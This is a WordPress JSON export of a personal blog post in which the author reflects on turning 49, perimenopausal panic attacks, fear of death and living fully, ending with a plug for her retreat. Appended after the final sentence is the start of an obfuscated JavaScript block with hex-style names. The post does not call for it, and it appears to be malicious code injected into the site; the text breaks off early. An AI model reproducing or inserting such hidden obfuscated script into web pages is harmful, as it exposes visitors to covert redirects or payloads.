{"id":4124,"date":"2019-05-09T03:54:39","date_gmt":"2019-05-09T03:54:39","guid":{"rendered":"http:\/\/www.kendrathornbury.com\/?p=4124"},"modified":"2019-05-09T03:54:39","modified_gmt":"2019-05-09T03:54:39","slug":"i-dont-want-to-die-honesty-panic-turning-49","status":"publish","type":"post","link":"https:\/\/www.kendrathornbury.com\/i-dont-want-to-die-honesty-panic-turning-49\/","title":{"rendered":"I DON&#8217;T WANT TO DIE!! (honesty, panic + turning 49)"},"content":{"rendered":"<p><span style=\"color: #800000;\"><strong>I DON&#8217;T WANT TO DIE!!<\/strong><\/span><\/p>\n<p><strong>I&#8217;m almost 49! \u00a0<\/strong><\/p>\n<p>I see new grooves on my face.<\/p>\n<p><a href=\"http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2019\/05\/Kendra-Huntington-Beach-March-2019.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-4125\" src=\"http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2019\/05\/Kendra-Huntington-Beach-March-2019.jpg\" alt=\"\" width=\"720\" height=\"960\" srcset=\"http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2019\/05\/Kendra-Huntington-Beach-March-2019.jpg 720w, http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2019\/05\/Kendra-Huntington-Beach-March-2019-225x300.jpg 225w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/a><\/p>\n<p>Waves of experiences carved like a stream across my skin.<\/p>\n<p>I gaze in the mirror marveling at the changes in my body.<\/p>\n<p><strong>Some moments I love what I see<\/strong>. I tell myself I have timeless beauty and that I really am &#8220;all that&#8221; and more.<\/p>\n<p><strong>Some moments I feel scared that I&#8217;m not as appealing or sexy or lovable.<\/strong> I fall prey to the influences of a society obsessed with youth and flawlessness.<\/p>\n<p>Some moments I am like&#8230; <strong>WTF???<\/strong> How did I get to be this age?<\/p>\n<p>And in each moment, underneath it all, is <strong><span style=\"color: #800000;\">an unwavering devotion to live my best life<\/span><\/strong>.<\/p>\n<p><em>To make a difference. To honor my design. To enjoy my freedom.<\/em><\/p>\n<p>I think I am. Yet I know there&#8217;s so much more for me to be and do.<\/p>\n<p><span style=\"text-decoration: underline;\">In some ways, I feel like I&#8217;m JUST getting started!<\/span><\/p>\n<p>The thing is&#8230;<\/p>\n<p>I am motivated by time in a new way.<\/p>\n<p>Perimenopause changed me.<\/p>\n<p>The last year of my 40&#8217;s is upon me.<\/p>\n<p><strong>I can feel gripped by the inevitable passage of my body temple <\/strong><strong>and identity as &#8216;Kendra&#8217; being laid to rest upon Mother Earth.<\/strong><\/p>\n<p>I will become the dirt.<\/p>\n<p>I will become the compost providing nutrients for new life to seed and bloom.<\/p>\n<p>I will become a different form of the expression of the Divine.<\/p>\n<p>It&#8217;s hard for me to write this.<\/p>\n<p>For most of my life I&#8217;ve been in <strong>denial about death<\/strong>.<\/p>\n<p>Some of it was simply a function of age&#8230; I did feel an unbounded sense spaciousness and I took things for granted.<\/p>\n<p>Now I feel the confines of time.<\/p>\n<p>Initially when this awareness flooded me in 2016 at the onset of perimenopause, <strong>I would panic.<\/strong><\/p>\n<p><em>My breath would become shallow, my heart beat would race and I&#8217;d spin out in a chemical cocktail of anxiety. \u00a0<\/em><\/p>\n<p>I believed that I was dying right then.<\/p>\n<p>I had no control, and I kept thinking&#8230;.<strong> I DON&#8217;T WANT TO DIE!<\/strong><\/p>\n<p>Over time I learned how to soothe myself through these episodes.<\/p>\n<p>What I realized from this <span style=\"text-decoration: underline;\">intense rite of passage<\/span> is that I love being here and I have a lot more living I want to do.<\/p>\n<p>I am not ready to go!!<\/p>\n<p>I was taken back by this deep desire to live, just how much I really wanted it.<\/p>\n<p>Especially because there were times as a girl and young woman in depressed, anxious and deflated states, I entertained that perhaps it&#8217;d just be easier to not be here.<\/p>\n<p>So&#8230;<\/p>\n<p>&#8230; <strong>I&#8217;m reflecting, evaluating and getting real<\/strong>.<\/p>\n<p>I&#8217;m looking at where <strong>I still sabotage<\/strong> and hold myself back.<\/p>\n<p>I&#8217;m admitting <strong>things I really want<\/strong> to experience.<\/p>\n<p>I&#8217;m being honest with myself about <strong>changes I need to make<\/strong>.<\/p>\n<p><strong>I&#8217;m identifying my priorities and where I most want to put my precious life force.<\/strong><\/p>\n<p>It&#8217;s humbling. And exciting.<\/p>\n<p>I know myself like never before.I care less about the external trappings that previously robbed me from of my truth and well being.<\/p>\n<p><strong>So, 49&#8230;<\/strong><\/p>\n<p><strong>I&#8217;m preparing for you!<\/strong><\/p>\n<p><em>I am eager to make the most of time with you.<\/em><\/p>\n<p>I am a bit trepidatious given you&#8217;re a &#8220;last of&#8221; in a decade.<\/p>\n<p>And yet my sense is that you have a lot to show me about this next era of my expression now that I am grounded<br \/>\nmore fully in my unapologetic freedom.<\/p>\n<p>I will meet you soon. Let&#8217;s do this.<\/p>\n<p>With all that I am,<\/p>\n<p><a href=\"http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2014\/07\/signature.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3000\" src=\"http:\/\/www.kendrathornbury.com\/wp-content\/uploads\/2014\/07\/signature.jpg\" alt=\"\" width=\"200\" height=\"93\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Kendra E Thornbury, MA<\/p>\n<p>ps. When I passionately invite you to join me in adventures like our Embodied Wealth Mexico Retreat, it&#8217;s with this amplified awareness that LIFE IS NOW.<\/p>\n<p><strong>I do not market to GET you or anyone to do something that doesn&#8217;t really serve you.<\/strong> There&#8217;s enough frivolous things to waste your money and time on.<\/p>\n<p>Rather, <span style=\"text-decoration: underline;\">I want to help you wake up so that you are deciding and <\/span><span style=\"text-decoration: underline;\">living based on what is truly aligned for you<\/span>.<\/p>\n<p>Most people trod along with a certain degree of unconsciousness.<\/p>\n<p>Justifying not taking action and pursuing their greatest hearts desires.<\/p>\n<p>Excusing why now is not the time.<\/p>\n<p><strong>Panic has given me glimpses of the other side<\/strong>. <em>It&#8217;s coming.<\/em><\/p>\n<p>Will you have lived??<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return 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